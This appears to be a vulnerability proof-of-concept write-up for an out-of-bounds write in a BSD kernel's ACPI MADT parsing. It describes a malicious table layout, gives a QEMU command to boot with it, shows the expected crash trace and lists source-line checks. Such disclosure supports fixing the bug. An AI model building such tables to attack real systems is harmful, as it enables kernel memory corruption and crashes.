# DF-1064 PoC — Unbounded CPU counter in MADT enumeration OOB write

## Trigger

A malicious ACPI MADT with **>255 enabled CPU entries** (LAPIC or x2APIC).
Unlike DF-1042 (one entry with `LocalApicId >= 256`), DF-1064 uses MANY
enabled entries to drive `arg->cpu` past `NAPICID=256` and overwrite
`cpu_id_to_apic_id[cpu]` / `cpu_id_to_acpi_id[cpu]` OOB.

The x2APIC variant additionally gives a **fully-controlled 32-bit write
value** via `x2apic_ent->Uid` — the attacker chooses both the offset (via
the entry count) and the value.

## Malicious MADT (LAPIC variant, simplest)

| Section                  | Bytes | Content                                                |
|--------------------------|-------|--------------------------------------------------------|
| ACPI table header        | 36    | Signature='APIC', Length=<total>, Revision=3, OEM, ... |
| MADT-specific header     | 8     | LocalApicAddr=0xfee00000, Flags=1 (PCAT_COMPAT)        |
| Entry 0 (BSP)            | 8     | Type=0 LOCAL_APIC, ProcessorId=0, Id=0, Enabled        |
| Entries 1..300           | 8 ea. | Type=0 LOCAL_APIC, ProcessorId=variable, Id=1, Enabled |

Total: ~2.5 KB. The 300 entries drive `arg->cpu` from 1 to 301.

## Build & run

```sh
python3 gen_madt.py > malicious_madt.aml

qemu-system-x86_64 -enable-kvm -m 512 -smp 2 \
    -kernel /path/to/dfbsd/kernel -initrd /path/to/initrd \
    -acpitable file=malicious_madt.aml
```

For a full-disk-image boot, replace `-kernel`/`-initrd` with `-hda
dfbsd.img`.

## Expected output

```
[early boot, SI_BOOT2_PRESMP]
MADT: cpu id 1, apic id 1
MADT: cpu id 2, apic id 1
...
MADT: cpu id 255, apic id 1
MADT: cpu id 256, apic id 1          # <- OOB write to cpu_id_to_apic_id[256]
Fatal trap 12: page fault while in kernel mode      # or other BSS-corruption crash
fault virtual address   = 0x<address of corrupted global>
lapic_set_cpuid(...) at lapic.c:1215
madt_lapic_pass2_callback(...) at acpi_madt.c:314
madt_lapic_pass2(...) at acpi_madt.c:...
lapic_config(...) at lapic.c:1290
```

## Static verification fallback

If dynamic verification is impractical (no QEMU build environment):

1. Confirm `madt_lapic_pass2_callback` at `acpi_madt.c:301-302` increments
   `arg->cpu++` with no upper-bound check.
2. Confirm `madt_x2apic_pass2_callback` at `acpi_madt.c:337-338` does the
   same.
3. Confirm `lapic_set_cpuid` at `lapic.c:1212-1217` has no bounds check on
   either parameter.
4. Confirm the arrays `cpu_id_to_apic_id` / `apic_id_to_cpu_id` /
   `cpu_id_to_acpi_id` are all sized `[NAPICID]` = `[256]`.

All four line references are confirmed in the finding markdown.

## Kernel references

- `sys/platform/pc64/acpica/acpi_madt.c:274-343` — the buggy callbacks
- `sys/platform/pc64/acpica/acpi_madt.c:301-302, 337-338` — unbounded `arg->cpu++`
- `sys/platform/pc64/acpica/acpi_madt.c:83` — `cpu_id_to_acpi_id[NAPICID]`
- `sys/platform/pc64/apic/lapic.c:122-123` — `cpu_id_to_apic_id[NAPICID]`,
  `apic_id_to_cpu_id[NAPICID]`
- `sys/platform/pc64/apic/lapic.c:1212-1217` — `lapic_set_cpuid` (no bounds)
- DF-1042 — sibling finding (apic_id parameter OOB)
